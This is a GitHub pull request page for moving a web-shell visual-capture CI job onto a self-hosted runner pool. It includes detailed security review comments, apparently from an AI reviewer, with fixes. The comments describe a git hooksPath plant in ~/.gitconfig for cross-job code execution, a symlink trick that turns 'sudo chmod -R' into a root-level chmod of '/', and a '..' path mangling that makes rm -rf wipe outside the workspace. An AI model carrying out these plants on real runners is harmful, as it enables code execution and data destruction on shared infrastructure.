R10-1:保留 .git 的防御只擦洗 --local 作用域;runner 用户的全局/系统级 git 配置(~/.gitconfig、~/.config/git/config、/etc/gitconfig)从不被中和,而 actions/checkout v6.0.3 会把 $HOME/.gitconfig 复制进它的临时 HOME(git-auth-helper.ts:85-125,与 persist-credentials 无关)而非隔离。先前某个池上作业——同仓库或有写权限 fork 的 PR 代码,或被投毒的依赖;正是该步骤自述的威胁模型——把 [core] hooksPath = ~/.evil-hooks 与可执行钩子写入 ~/.gitconfig(无需 sudo;池上 $HOME 跨作业持久)。下一个作业的 wipe 彻底防御了 $WS/.git 却从不读 $HOME;钩子在 wipe 自己的 git update-ref -d 期间触发(reference-transaction 钩子),Checkout PR head 的 git checkout --force 触发 post-checkout——在 npm ci 之前实现跨 PR 代码执行,而该作业携带 merge-base 步骤的 GITHUB_TOKEN。merge-base 检出(全新 gitdir、无本地配置)同样中招,因此即便丢弃保留的 .git(R5-1 的结构性修复)也不能关闭此入口。执行见证在结构上对此失明:wipeGitEnv 给每个 fixture 全新 HOME + GIT_CONFIG_NOSYSTEM=1,于是套件为一个在生产中开放的步骤背书。(第 8 轮延后清单曾以 'HOME-scope hygiene' 记录;本轮两名审计员独立以在线探针证实并升级为 Critical。)
修复:采用车队已在使用的环保绕过形态(repo-hygiene.yml:822-823):经 $GITHUB_ENV 发布 GIT_CONFIG_GLOBAL=/dev/null 与 GIT_CONFIG_SYSTEM=/dev/null,使 wipe 与两个检出步骤都能看到(步骤级 export 到不了后续步骤);和/或按 qwen-autofix.yml:673 的方式擦洗两个全局文件。修复前提:git 的全局作用域横跨两个文件(qwen-autofix.yml:673),只擦一个类仍开放;无 sudo 的 wipe 根本无法关闭 /etc/gitconfig——只有环保绕过形态可以。修复见证:新增在 fixture HOME 植入 core.hooksPath(不带 GIT_CONFIG_NOSYSTEM)、运行 runWipeStep 与后续检出、断言钩子标记不存在的执行见证;移除新增中和措施必须使其变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if [ "$RUNNER_UID" != "0" ]; then | ||
| chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" || echo "::warning::could not restore workspace ownership; checkout may fail on leftover root-owned files" | ||
| fi | ||
| chmod -R u+rwX "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chmod -R u+rwX "$GITHUB_WORKSPACE" || echo "::warning::could not restore workspace write permissions; checkout may fail on leftover read-only files" |
There was a problem hiding this comment.
[Critical] R10-2: [certifies-falsely] [new-surface] The new 'Restore workspace ownership' step runs BEFORE the wipe step that heals a symlinked $GITHUB_WORKSPACE, and chmod -R follows a symlinked operand — GNU chmod has no -P; it dereferences symlink operands and recurses into the target (verified: canary modes flipped through the link, rc=0, link intact; chown -R defaults to -P and is unaffected). The plant class this diff explicitly heals — the wipe step exists because a previous job replaces the workspace with a symlink (#9220/#9265) — is silently chmodded recursively, out of bounds, first: permanent silent mode corruption of an attacker-chosen tree outside the workspace (files gain write/exec bits), nothing restores modes, and the later heal removes the link but never touches the target. Escalation: any root-owned file in the target makes the non-sudo pass exit 1, and sudo -n chmod -R repeats the identical recursion AS ROOT — for a plant of $GITHUB_WORKSPACE → / this is sudo chmod -R u+rwX /. The same shape at line 90 in 'Clear stale capture dirs' covers ${RUNNER_TEMP}/web-shell-visuals|before, paths that outlive a run and are never healed by the wipe. (The serve-ab.yml:89 copy pre-exists at merge base and is out of scope; both visuals instances are added by this diff.)
Witness:
BEFORE: 400 outside/canary | 400 outside/sub/deep
chmod -R u+rwX on symlink operand: rc=0
AFTER: 600 outside/canary | 600 outside/sub/deep | symlink operand still intact
chown -R -v: only "ownership of '…/ws-link' retained" (does NOT follow)
userns root leg: root-owned 000 file → 600 through the link, rc=0
Gate the recursion on a real directory and let the wipe step's heal own the planted case (its fresh dir needs no repair):
if [ -d "$GITHUB_WORKSPACE" ] && [ ! -L "$GITHUB_WORKSPACE" ]; then
chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" || echo "::warning::..."
chmod -R u+rwX "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chmod -R u+rwX "$GITHUB_WORKSPACE" || echo "::warning::..."
fiApply the same [ -d ] && [ ! -L ] guard per path around the chmod at line 90. Fix premise: chown -R defaults to -P and lchowns the link itself (probed), so only the chmod -R line needs the guard; and the step must still heal genuine read-only leftovers under a REAL workspace directory — its stated purpose (web-shell-visuals.yml:98-100). Fix witness: extract this step's script the way scripts/tests/serve-ab-workflow.test.js does for the wipe, run it against a fixture where $GITHUB_WORKSPACE is a symlink to an outside dir containing a 0444 file, and assert the outside file's mode is unchanged and the link intact; removing the guard turns it red (mode becomes 0644).
中文说明
R10-2:新增的 'Restore workspace ownership' 步骤运行在疗愈符号链接 $GITHUB_WORKSPACE 的 wipe 步骤之前,而 chmod -R 会跟随符号链接操作数——GNU chmod 没有 -P;它会解引用符号链接操作数并递归进入目标(已验证:链接对侧的 canary 模式被翻转,rc=0,链接完好;chown -R 默认 -P,不受影响)。本 diff 显式疗愈的植入类——wipe 步骤正是因为先前作业会把工作区替换为符号链接而存在(#9220/#9265)——首先被静默地越界递归 chmod:工作区之外攻击者选定的树被永久静默地破坏模式位(文件获得写/执行位),没有任何东西恢复模式,之后的疗愈只删除链接而不触碰目标。升级路径:目标中任一 root 属主文件会使非 sudo 通道退出 1,sudo -n chmod -R 随后以 ROOT 身份重复同样的递归——对 $GITHUB_WORKSPACE → / 的植入即 sudo chmod -R u+rwX /。第 90 行 'Clear stale capture dirs' 中的同形态代码覆盖 ${RUNNER_TEMP}/web-shell-visuals|before——跨作业持久且从不被 wipe 疗愈的路径。(serve-ab.yml:89 的副本在合并基已存在,不在范围内;本文件两处实例均由本 diff 新增。)
修复:把递归限定在真实目录上,把植入情形交给专为它设计的 wipe 疗愈(其新建目录无需修复),见上方代码块;第 90 行的 chmod 同样按路径加 [ -d ] && [ ! -L ] 守卫。修复前提:chown -R 默认 -P 且只作用于链接本身(已探测),因此只有 chmod -R 行需要守卫;同时该步骤必须仍能疗愈真实工作区目录下真正的只读残留——这是它自述的存在目的(web-shell-visuals.yml:98-100)。修复见证:按 scripts/tests/serve-ab-workflow.test.js 对 wipe 的做法提取本步骤脚本,以 $GITHUB_WORKSPACE 为指向外部目录(含 0444 文件)的符号链接的 fixture 运行,断言外部文件模式不变且链接完好;移除守卫必须使其变红(模式变为 0644)。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| RWS="$(realpath -m -- "$RWS" 2>/dev/null)" || { echo "::error::refusing to wipe: realpath unavailable, cannot canonicalize ${RUNNER_WORKSPACE}"; exit 1; } | ||
| while [ "${RWS%/}" != "$RWS" ]; do RWS="${RWS%/}"; done | ||
| case "$RWS" in | ||
| ..|../*|*/..|*/../*) echo "::error::refusing runner workspace path containing '..': ${RWS}"; exit 1 ;; |
There was a problem hiding this comment.
[Critical] R10-3: [certifies-falsely] [new-surface] The raw-path .. refusal exists only inside the root-heal branch; a RUNNER_WORKSPACE containing .. components that is a plain existing directory skips that branch entirely, is canonicalized by realpath -m, and silently re-roots the containment allowlist ABOVE the real runner workspace. This post-realpath .. case arm (and its byte-identical copy in web-shell-visuals.yml:195) is unreachable dead code — realpath output contains no .. — and R9-1's demanded -z re-check does not close this variant. Mangled-env RUNNER_WORKSPACE=/home/runner/_work/../.. (the #9220/#9265 incident class this step's guards are declared to exist for) passes every raw guard — non-empty, absolute, real dir, no symlinked ancestors — realpath yields /home, and the containment "$RWS"/* now admits any GITHUB_WORKSPACE under /home; find … rm -rf wipes a directory outside the runner workspace with exit 0 and no annotation. (A/B: the merge-base serve-ab step shows identical behavior on this fixture, so the serve-ab copy restructures a pre-existing gap; the diff rewrote this exact guard chain and extends the surface to web-shell-visuals.yml, where the whole step is new.)
Witness:
PR (RUNNER_WORKSPACE=<victim>/../..): exit: 0 | stdout: (empty) | victim.txt exists after wipe: false
BASE (merge-base serve-ab step, same fixture): exit: 0 | victim.txt exists after wipe: false
FLIP (raw-'..' refusal patched in memory): exit: 1 | "::error::refusing runner workspace path containing '..'" | victim survives: true
Refuse traversal components on the RAW path before canonicalization — move the heal branch's */..|*/../* case to run on every RWS immediately after the relative-path refusal (the daemon supplies clean absolute paths, so a .. spelling is always mangled input). Fix premise: the suite pins the DESCENT case — 'canonicalizes a ..-spelled runner workspace instead of refusing it' (scripts/tests/serve-ab-workflow.test.js:575, RUNNER_WORKSPACE=join(ws,'..') expecting success) — so a wholesale raw-.. refusal turns a pinned test red; the fix must distinguish climb-above-the-true-parent from descent-to-it (in both cases the canonical RWS is a prefix of WS, so the two are indistinguishable from the env values alone). Fix witness: a fixture with RUNNER_WORKSPACE climbed one level past the true parent asserting non-zero exit and untouched files must go red if the refusal is removed; it must flip or supplement the pinned descent test at line ~575.
中文说明
R10-3:原始路径的 .. 拒绝只存在于根疗愈分支内;一个包含 .. 组件且为普通存在目录的 RUNNER_WORKSPACE 会完全跳过该分支,被 realpath -m 规范化,并把包含性 allowlist 静默地重新扎根到真实 runner 工作区之上。这个 realpath 之后的 .. case 分支(web-shell-visuals.yml:195 为逐字节相同的副本)是不可达的死代码——realpath 输出不含 ..——且 R9-1 所要求的 -z 复查并不能关闭此变体。污染环境输入 RUNNER_WORKSPACE=/home/runner/_work/../..(正是该步骤守卫自述存在理由的 #9220/#9265 事故类)通过所有原始守卫——非空、绝对路径、真实目录、祖先无符号链接——realpath 得到 /home,包含性 "$RWS"/* 于是接纳 /home 之下的任何 GITHUB_WORKSPACE;find … rm -rf 以退出码 0、无任何注解地擦除 runner 工作区之外的目录。(A/B:合并基的 serve-ab 步骤在同一 fixture 上行为相同,故 serve-ab 副本是对既有缺口的重构;本 diff 重写了这条守卫链,并把该表面扩展到整个步骤皆为新增的 web-shell-visuals.yml。)
修复:在规范化之前对原始路径拒绝遍历组件——把疗愈分支的 */..|*/../* case 移到相对路径拒绝之后立即对每个 RWS 执行(daemon 提供干净的绝对路径,.. 拼写必为污染输入)。修复前提:套件钉扎了下降情形——'canonicalizes a ..-spelled runner workspace instead of refusing it'(scripts/tests/serve-ab-workflow.test.js:575,RUNNER_WORKSPACE=join(ws,'..') 期望成功)——因此全面的原始 .. 拒绝会使被钉扎的测试变红;修复必须区分"爬升到真实父目录之上"与"下降到父目录"(两种情形下规范化后的 RWS 都是 WS 的前缀,仅凭环境值无法区分)。修复见证:以爬升一级的 RUNNER_WORKSPACE 的 fixture 断言非零退出且文件未动,移除拒绝必须使其变红;它必须翻转或补充第 575 行附近的下降钉扎测试。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # itself, never following it. | ||
| case "$WS" in | ||
| "$RWS"/*) | ||
| HEAL_REL="${WS#"$RWS"/}" |
There was a problem hiding this comment.
[Critical] R10-4: [certifies-falsely] [new-surface] The intermediate-component heal (byte-identical copy serve-ab.yml:192) acts on the RAW $WS before canonicalization and has no .. refusal, so a mangled $GITHUB_WORKSPACE containing .. passes the "$RWS"/* string-prefix match while the heal's rm -f/mkdir resolve OUTSIDE $RUNNER_WORKSPACE — defeating the block's stated invariant ('Judge only paths literally inside the canonical runner workspace'). The diff adds a raw .. refusal for the root heal but gave the new intermediate heal neither that nor a canonical check; the canonicalized parent-containment refusal fires only AFTER the out-of-bounds mutation. Trigger: healthy RWS=/home/runner/work/qwen-code; a prior pool job plants symlink /home/runner/work/pivot → <target>; a mangled-env job (the incident class the step's preamble cites) supplies GITHUB_WORKSPACE=/home/runner/work/qwen-code/../pivot/repo — the raw prefix match passes, the walk resolves pivot outside the workspace, and the step unlinks the outside symlink and mkdirs a real directory in its place, logging it as a successful 'heal'. If the escaped component is legitimate infra rather than an attacker plant, the guard destroys it.
Witness:
::warning::healing workspace path /tmp/…/qwen-code/../pivot: it was a symlink
heal: … pointed at /tmp/…/target-outside
::error::refusing to heal workspace outside the runner workspace: …/pivot/repo (parent: …)
exit: 1 | pivot is symlink now: false | pivot is dir now: true ← out-of-bounds mutation happened BEFORE the refusal
FLIP (refuse '..' at heal entrance): exit: 1 | "refusing to heal workspace path containing '..'" | pivot still symlink (untouched): true
Refuse .. on the RAW path before the walk, mirroring the root heal — after computing HEAL_REL, add:
case "$HEAL_REL" in ..|../*|*/..|*/../*) echo "::error::refusing to heal workspace path containing '..': ${WS}"; exit 1 ;; esacFix premise: the heal must keep acting on the RAW path and refuse rather than resolve — per the block's own comment, resolving $WS would resolve through the very plant being judged ('Resolving the parent — never $WS itself … is what makes the unlink containable'). Fix witness: a runWipeStep fixture with ws = <rws>/../evil/repo and a planted symlink at a sibling of rws, asserting the outside symlink survives as a symlink and the step exits non-zero with the .. refusal; removing the new raw-.. refusal returns the out-of-bounds rm+mkdir and turns it red.
中文说明
R10-4:中间组件疗愈(serve-ab.yml:192 为逐字节相同的副本)在规范化之前作用于原始 $WS 且没有 .. 拒绝,因此含 .. 的被污染 $GITHUB_WORKSPACE 能通过 "$RWS"/* 字符串前缀匹配,而疗愈的 rm -f/mkdir 会解析到 $RUNNER_WORKSPACE 之外——违背该代码块自述的不变量('只判断字面上位于规范化 runner 工作区内部的路径')。diff 为根疗愈添加了原始 .. 拒绝,却没有给新的中间疗愈同样的拒绝或规范化检查;规范化后的父包含性拒绝只在越界变更发生之后才触发。触发:健康的 RWS=/home/runner/work/qwen-code;先前池上作业植入符号链接 /home/runner/work/pivot → <目标>;污染环境作业(该步骤前言引用的事故类)提供 GITHUB_WORKSPACE=/home/runner/work/qwen-code/../pivot/repo——原始前缀匹配通过,遍历把 pivot 解析到工作区之外,步骤解除外部符号链接并在原地创建真实目录,还记录为成功的'疗愈'。若逃出的组件是合法基础设施而非攻击者植入,该守卫会将其摧毁。
修复:在遍历之前对原始路径拒绝 ..,与根疗愈对齐——在计算 HEAL_REL 之后添加上方代码块。修复前提:疗愈必须继续作用于原始路径并拒绝而非解析——按该代码块自己的注释,解析 $WS 会穿过正在被判断的植入本身('解析父级——绝不解析 $WS 本身……才是使解除链接可包含的关键')。修复见证:新增 ws = <rws>/../evil/repo 且在 rws 兄弟目录植入符号链接的 runWipeStep fixture,断言外部符号链接以符号链接形态存活且步骤以 .. 拒绝非零退出;移除新增的原始 .. 拒绝会使越界 rm+mkdir 复现并使其变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
🔀 Base updated: red check(s) [Test (ubuntu-latest, Node 22.x)] pass on current main — merged current main via update-branch; CI will re-run. 中文说明🔀 已更新 base：红色检查 [Test (ubuntu-latest, Node 22.x)] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main，CI 将重新运行。 |
4 participants
What this PR does
Routes the
capturejob ofweb-shell-visuals.ymlonto the persistentecs-qwenpool for same-repo PRs and write-access fork authors, using serve-ab's routing expression byte-for-byte (a test pins the parity). Every other fork PR keeps the ephemeral hosted runner via the expression's fallback, andMAINTAINER_ECS_RUNNER_DISABLEDreverts everything to hosted with no file change.This deliberately amends a recorded security decision, so it is called out rather than slipped in: the workflow's header used to name "an ephemeral hosted runner" as part of its security model. The rationale behind that sentence was fork isolation — and that part is preserved intact: fork PRs from non-write authors never reach the pool, hold a read-only token, and see no secrets. What changes is only the trusted lanes, whose PR code ci.yml and serve-ab already build and execute on the same pool (with
npm cirunning lifecycle scripts, which is strictly more exposure than this render job). The header now records the trust split explicitly. The privilegedworkflow_runpublish side (CI_BOT_PAT, image push, PR comment) is untouched and deliberately stays hosted — moving a PAT-bearing job to the shared pool would need the gh/git hardening preamble treatment (see #10055's review) for a ~1-minute job, which is not worth it.Pool adaptations, all gated on
runner.environment == 'self-hosted':sudo -n apt-get install ffmpegbefore GIF conversion — hosted images ship ffmpeg, the pool may not, and the conversion already degrades to raw.webmwith a visible warning when it is missing.Playwright's Chromium install is idempotent per machine (
~/.cache/ms-playwright;--with-depsapt packages install once and no-op after), the render port is already picked dynamically, and outputs live underrunner.temp, which the runner wipes between jobs.Why it's needed
The capture job is a ~10-20 minute double build+render (PR head and merge-base arm) that fires on every web-shell/webui PR push, queueing behind the hosted backlog (20+ minute waits on 2026-08-25/26 while ~70 of the pool's 100 runners sat idle).
.size-baselineis bumped in-PR per the ratchet convention.Reviewer Test Plan
How to verify
node --test .github/scripts/ci-runner-routing.test.mjs— 14/14 pass: same-repo → pool, write-access fork author → pool, every untrusted association → hosted, kill-switch → hosted, byte-parity with serve-ab's expression, heal-before-checkout ordering, and a pin that no capture step references any secret beyond the read-onlyGITHUB_TOKEN(the security header's promise, now enforced).npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size— passes.ecs-qwen-runner-*; a fork PR from a non-collaborator stays onubuntu-latest; the publish comment should still carry composites and GIFs.Evidence (Before & After)
Before:
runs-on: 'ubuntu-latest'for every lane.After: trusted lanes render on the pool; fork lanes, the publish side, and the kill-switch path are unchanged.
中文说明
将
web-shell-visuals.yml的capturejob 在可信车道(同仓库 PR、有写权限的 fork 作者)路由到常驻ecs-qwen池,逐字复用 serve-ab 的路由表达式(测试钉扎两者字节一致);其余 fork PR 仍在一次性托管 runner 上渲染,总开关可整体回退。本 PR 显式修改了一处成文的安全决策:该 workflow 头部注释原以"一次性托管 runner"为安全模型的一部分。其中的 fork 隔离语义完整保留(非写权限 fork 永远不进池、只读 token、无 secrets);变化仅限可信车道——这些车道的 PR 代码 ci.yml/serve-ab 本就已在同一池上构建执行(含运行生命周期脚本的
npm ci,暴露面严格大于本渲染 job)。头部注释已改为显式记录该信任划分。持有 CI_BOT_PAT 的 publish 侧不动、刻意留在 hosted(把带 PAT 的 job 挪上共享池需要整套 gh/git 加固前置,对一个约 1 分钟的 job 不值)。池上适配(均仅自持 runner 生效):检出前属主修复;GIF 转换前尽力安装 ffmpeg(托管镜像自带、池上未必有;缺失时本就降级为上传原始 .webm 并告警)。Playwright 的 Chromium 安装按机幂等,渲染端口已动态选取,输出位于
runner.temp(runner 每个 job 之间清理)。背景:capture 是每次 web-shell/webui PR push 都触发的 10-20 分钟双臂构建渲染,一直在托管队列积压;
.size-baseline按棘轮惯例同 PR 更新。